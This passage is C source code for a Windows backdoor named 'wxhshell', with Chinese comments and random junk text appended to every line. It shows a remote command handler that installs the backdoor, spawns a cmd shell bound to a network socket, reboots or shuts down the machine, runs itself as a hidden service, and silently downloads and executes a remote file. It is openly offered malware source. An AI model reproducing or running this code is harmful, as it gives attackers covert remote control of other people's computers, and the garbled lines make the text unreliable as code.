  case '?': { 9vuyv*-}e  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); EU2$f  
    break; orzZ{87  
  } YqhAZp<  
  // 安装 o5Dk:Bw  
  case 'i': { h]IxXP?h[  
    if(Install()) fx41,0;gZq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); cvn@/qBq*t  
    else 7Haa;2 T'  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); CKYc\<zR0l  
    break; ?ZV/U!y  
    } gh/EU/~d  
  // 卸载 ^n*)7K[  
  case 'r': { e(]!GA  
    if(Uninstall()) ?&8^&brwG  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $t$ShT)  
    else 'F+C4QAq  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); faE t6  
    break; ;5]Lf$tZ  
    } )Kc<j!8-[  
  // 显示 wxhshell 所在路径 @6Y?\Wx$w  
  case 'p': { wL+s8#{  
    char svExeFile[MAX_PATH]; RD!&LFz/}  
    strcpy(svExeFile,"\n\r"); /C:Y94B-z  
      strcat(svExeFile,ExeFile); m ifxiV  
        send(wsh,svExeFile,strlen(svExeFile),0); 0M_ DB=  
    break; 3@etRd;]Kr  
    } v> LIvi|]  
  // 重启 FvaUsOy "  
  case 'b': { 2,DXc30I  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); t|w_i-&b,  
    if(Boot(REBOOT)) nD_GL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S] }nm  
    else { E-T)*`e  
    closesocket(wsh); HZ aV7dOZ8  
    ExitThread(0); {c6=<Kv  
    } S5gyr&dm  
    break; ef 8s<5"4  
    } z6KCv(zvB  
  // 关机 T:27r8"Rh  
  case 'd': { W>${zVu  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Eq%}  
    if(Boot(SHUTDOWN)) TJ10s%,V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &W| [r(  
    else { 3atBX5  
    closesocket(wsh); QE^$=\l0  
    ExitThread(0); .<->C?#  
    } -WY<zJ  
    break; 4GkWRu1  
    } @CpfP;*{w`  
  // 获取shell ;;!yC  
  case 's': { $h+1u$po  
    CmdShell(wsh); `LrHKb aP  
    closesocket(wsh); W,K;6TZhh  
    ExitThread(0); !8TlD-ZT/  
    break; 2] z 8: a  
  } ~uj#4>3T  
  // 退出 ] ]u s %  
  case 'x': { 216RiSr*  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); W\>fh&!)  
    CloseIt(wsh); P@,XEQRd`  
    break; b:U$x20n$  
    } g{7.r-uu  
  // 离开 R4[N:~Z$|  
  case 'q': { ayn)5q/z  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); [@&m4 7  
    closesocket(wsh); Z_LFIz*c  
    WSACleanup(); zykT*V  
    exit(1); R"-mKT}  
    break; `{f}3bO7C  
        } 3(="YbZ  
  } e6`Jbu+J<f  
  } ;0Q4<F  
6gL #C&  
  // 提示信息 Df}A^G >X  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {AhthR%(1  
} `68@+|#  
  } x,'(5*  
> $O]Eu!  
  return; S4Pxc ]!  
} )%`c_FL@N=  
9>= ;FY  
// shell模块句柄 \S"isz  
int CmdShell(SOCKET sock) Z&G+bdA>,  
{ q}b dxa  
STARTUPINFO si; ?U%qPv:  
ZeroMemory(&si,sizeof(si)); Wvq27YK'  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Q{O+  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; [T|aw1SoN  
PROCESS_INFORMATION ProcessInfo; ;nI] !g:  
char cmdline[]="cmd"; sZ3KT&  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Mc? Qx  
  return 0; ]P9l jwR  
} sG(~^hJ_  
6, ^>mNm  
// 自身启动模式 +=>,Pto<  
int StartFromService(void) vt/x ,Y  
{ =%BSKSG.  
typedef struct D.r<QO~6B  
{ |5X^u+_  
  DWORD ExitStatus; kYM~d07 V  
  DWORD PebBaseAddress; ^\hG"5#  
  DWORD AffinityMask;  03L]  
  DWORD BasePriority; %h hfU6[  
  ULONG UniqueProcessId; R#s )r  
  ULONG InheritedFromUniqueProcessId; 'S20\hwt-  
}   PROCESS_BASIC_INFORMATION; U2ohHJ``  
DMAIM|h  
PROCNTQSIP NtQueryInformationProcess; `:ArT}F  
1m'k|Ka  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 59 h]UX=  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; k6;?)~.  
O+nEXS\rQ  
  HANDLE             hProcess; <!&[4-;fU  
  PROCESS_BASIC_INFORMATION pbi; u^^vB\"^  
~Sdb_EZ  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); $CRm3#+ ~  
  if(NULL == hInst ) return 0; I~[F|d>  
Je';9(ZK  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); \J4L:.`qS  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); /RG:W0=K  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); >d(~# Z`  
`oAW7q)~  
  if (!NtQueryInformationProcess) return 0; R &n Pj~  
UgRhWV~f0  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Ij 79~pn  
  if(!hProcess) return 0; d .[8c=$  
'Y?"{HZ  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Mhm@R@  
> ;jZa  
  CloseHandle(hProcess); T5|q RlW  
8mCxn@yV  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); *~2,/D  
if(hProcess==NULL) return 0; DMs,y{v  
FX;QG94!  
HMODULE hMod; +*\u :n  
char procName[255]; _aq 8@E~  
unsigned long cbNeeded; oF vfCrd  
]q\b,)4 e  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); seba9 y  
{WJm  
  CloseHandle(hProcess); >R|/M`<ph  
B=U 3  
if(strstr(procName,"services")) return 1; // 以服务启动 &PL8|w  
.7O*pJ2(H  
  return 0; // 注册表启动 [m- >5H  
} pLl(iNf]  
I"xo*}  
// 主模块 ?K1/ <PE+  
int StartWxhshell(LPSTR lpCmdLine) SbcS]H5Sk  
{ &`h{i K7  
  SOCKET wsl; !zBhbmlKt  
BOOL val=TRUE; c& < Fr[AK  
  int port=0; Y h7rU?Gj  
  struct sockaddr_in door; }?lrU.@zg  
"x%Htq@  
  if(wscfg.ws_autoins) Install(); XYQ/^SI!:  
k3~}7]O)  
port=atoi(lpCmdLine); 2L!u1  
x-XD.qh7Hr  
if(port<=0) port=wscfg.ws_port; YP 6` L  
<xup'n^7C  
  WSADATA data; zh%#Y_[R  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; P=qa::A  
 ;i4Q|  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   7 G)ZN{'  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); rr/B= O7  
  door.sin_family = AF_INET; "<6G6?sz  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); '|ad_M  
  door.sin_port = htons(port); /Jta^Bj  
2{D{sa  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 9X[kEl  
closesocket(wsl); *F WMn.  
return 1; ?xA:@:l/  
} \1d (9jR  
Ltv]pH}YN  
  if(listen(wsl,2) == INVALID_SOCKET) { 8<5]\X  
closesocket(wsl); q$p%ZefZ  
return 1; w?3p';C  
} uOKCAqYa  
  Wxhshell(wsl); ?yZ+D z\  
  WSACleanup(); "33Fv9C#bK  
; a/X<  
return 0; 0;hqIJcE:\  
&]V.S7LC #  
} :v0U|\j8/V  
c>,KZ!  
// 以NT服务方式启动 s:?SF.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) YD <:,|H   
{ XND|h#i8  
DWORD   status = 0; ?U%QG5/>  
  DWORD   specificError = 0xfffffff; P|^f0Rw3.  
j >Ht@Wi  
  serviceStatus.dwServiceType     = SERVICE_WIN32; i3dkYevs?  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Yf:IKY  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ?fiIwF)  
  serviceStatus.dwWin32ExitCode     = 0; *jLJcb*.Ap  
  serviceStatus.dwServiceSpecificExitCode = 0; AmvEf  
  serviceStatus.dwCheckPoint       = 0; Jlri*q"hE  
  serviceStatus.dwWaitHint       = 0; XYjV.j\  
2SD`OABf#  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); :uP,f<=)K  
  if (hServiceStatusHandle==0) return; ICpAt~3[M  
}bs+-K  
status = GetLastError(); r~E=4oB7  
  if (status!=NO_ERROR) C'G/AU  
{ 67VL@ ]  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; rTM}})81  
    serviceStatus.dwCheckPoint       = 0; NYt&@Z}]  
    serviceStatus.dwWaitHint       = 0; \}+_Fo/  
    serviceStatus.dwWin32ExitCode     = status; "C }b%aO:  
    serviceStatus.dwServiceSpecificExitCode = specificError; v;BV@E0}x  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); !-ok"k0,u  
    return; [\'%?BH(^  
  } B%" d~5Y  
M*y)6H k~  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; UGD2  
  serviceStatus.dwCheckPoint       = 0; Z"Zmo>cV4  
  serviceStatus.dwWaitHint       = 0; <x@}01 ~  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); pqk?|BvpK_  
} r/4``shg  
Bs13^^hu  
// 处理NT服务事件,比如:启动、停止 C`K?7v3$m  
VOID WINAPI NTServiceHandler(DWORD fdwControl) DD7h^-x  
{ 6TYY UM"&  
switch(fdwControl) _7<FOOM%8y  
{ D~biKrg?=  
case SERVICE_CONTROL_STOP: ;>#wU'  
  serviceStatus.dwWin32ExitCode = 0; W_||6LbZy  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; >5_2_Y$"  
  serviceStatus.dwCheckPoint   = 0; qUh2hz:  
  serviceStatus.dwWaitHint     = 0; uYn_? G  
  { @"hb) 8ng  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); qT ,Te  
  } e 63uLWDT  
  return; N6>(;ugJ1-  
case SERVICE_CONTROL_PAUSE: rEv@Y D  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; S-P/+K6  
  break; ,">]`|?  
case SERVICE_CONTROL_CONTINUE: 9Kpa><  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Fa?~0H/DL  
  break; C+'/>=>a.  
case SERVICE_CONTROL_INTERROGATE: %+f>2U4I  
  break; uH/J]zKR  
}; S-Wzour,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {,3>"  
} -!q :p&c  
t|a2;aq_  
// 标准应用程序主函数 } uO);k5H  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) .}^g!jm~h  
{ j\,EO+ZQCv  
5pj22 s  
// 获取操作系统版本 Y ?S!8-z  
OsIsNt=GetOsVer(); ?!;7:VIE  
GetModuleFileName(NULL,ExeFile,MAX_PATH); `rgn<I"  
mlixIW2  
  // 从命令行安装 &atuK*W>  
  if(strpbrk(lpCmdLine,"iI")) Install(); gMY1ts}Z  
&{ay=Mj  
  // 下载执行文件 LISM ngQ.  
if(wscfg.ws_downexe) { l9}3XI.=  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) B{|8#jqY  
  WinExec(wscfg.ws_filenam,SW_HIDE); Yb +yw_5  
} I2TaT(e\  
%oq{L]C(rf  
if(!OsIsNt) { ?h.wK  
// 如果时win9x,隐藏进程并且设置为注册表启动 P=7zs;k  
HideProc(); { WIJC ',Y  
StartWxhshell(lpCmdLine); }#.L7SIJ<J  
} d^RxQuA  
else @<&5J7fb  
  if(StartFromService()) }M1`di4e  
  // 以服务方式启动 F=`AY^u0  
  StartServiceCtrlDispatcher(DispatchTable); U[SaY0Z  
else OTy.VT|  
  // 普通方式启动 O]lSWEe  
  StartWxhshell(lpCmdLine); 8WtsKOno  
W=vG$  
return 0; &f"-d  
}
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只看该作者 1 发表于: 2006-10-10
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